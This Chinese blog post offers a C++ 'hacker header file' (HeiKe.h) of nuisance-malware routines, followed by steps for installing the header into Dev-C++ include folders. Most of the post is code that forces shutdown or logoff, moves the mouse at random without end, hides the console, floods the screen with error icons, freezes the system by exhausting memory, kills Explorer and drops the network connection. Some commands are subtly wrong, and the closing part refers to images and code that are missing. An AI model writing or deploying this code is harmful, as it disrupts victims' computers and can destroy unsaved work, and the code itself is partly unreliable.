C++黑客头文件? C++黑客头文件!
最近写黑客病毒写烦了,直接整出来一个黑客头文件!
名字就叫做:HeiKe.h
函数作用
shutdown(等待秒数,类型(1:关机,2:重启,3:注销))
Currur(移动鼠标的次数(1进入死循环))
Hide() 隐藏控制台
Icon(x坐标, y坐标, 类型(1:错误图标,2:感叹号图标,3:应用程序图标))
Die() 卡死
Shutdown_Go() 打开远程攻击控制台
explore() 不可打开资源管理器
release() 断开网络
Make_Text("文件名字(包括后缀)","内容") 创建文件
color(颜色)
HeiKe.h:
代码是这样的:
#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{
//HWND hWnd = GetConsoleWindow();
//SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
ofstream outfile(same,ios::out);
if (!outfile)
{
cerr<<"open error"<<endl;
}
outfile<<name;
outfile.close();
}
//主机的好管理
void shutdown(int x, int y)
{
Sleep(x * 1000);//等待n秒
if(y == 1)
system("shutdown -p");//关机
if(y == 2)
system("shutdown -s -r 0");//重启
if(y == 3)
system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
if (q == 1)//当q为1时,进入死循环。
while(1)
SetCursorPos(rand() % x, rand() % y);
else{//乱移鼠标的线程
while(q){
SetCursorPos(rand() % x, rand() % y);
q--;
}
}
}
//控制台的好管理
void Hide()
{
HWND s;
s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
if (s) {
ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
ShowWindow(s, SW_HIDE);//隐藏窗口
}
}
//图标的好管理
void Icon(int x, int y, int n)
{
FreeConsole();
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
POINT point;
while(1)
{
GetCursorPos(&point);//锁定鼠标位置
if(n == 1)//错误图标
DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));
if(n == 2)//感叹号图标
DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));
if(n == 3)//应用程序图标
DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));
}
}
//卡死
void Die()
{
while(1)
{
new char;
malloc(INT_MAX);
}
}
//远程攻击
void Shutdown_Go()
{
system("shutdown /i");
}
void color (int a) {
if (a == 0 || a == 14 || a == 20) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
} else if (a == 1 || a == 12) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
} else if (a == 2) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_GREEN);
} else if (a == 3) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
} else if (a == 4 || a == 11) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED);
} else if (a == 5 || a == 13) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
} else if (a == 7) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_GREEN|FOREGROUND_BLUE);
} else if (a == 15) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);
} else if (a == 16) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
} else if (a == 17) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);
} else if (a == 8) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
} else if (a == 6) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_BLUE);
} else if (a == 9) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);
}
}
void explore()//不可打开资源管理器
{
system("taskkill /im explore.exe /f");
}
void release()//断开网络
{
system("ipconfig /release");
}
编辑完黑客头文件之后,却发现了一个问题:
果然编译错误:
我问了问“度娘”:
我整了一会,才知道需要这样写:
这样写才可以。
但如果我想这样写呢?
这就需要另一种办法了:(办法总比困难多)
Dev C++:
首先,需要将您的头文件复制一份,然后再跳转至D:\Dev-Cpp\MinGW32\include,插入这个头文件:
同样的方法,再在sys 、 GLFW 、 GL 、 gdiplus 、 ege和ddk文件夹里面复制。
果然没有错误了:
ヾ( ̄▽ ̄)Bye~Bye~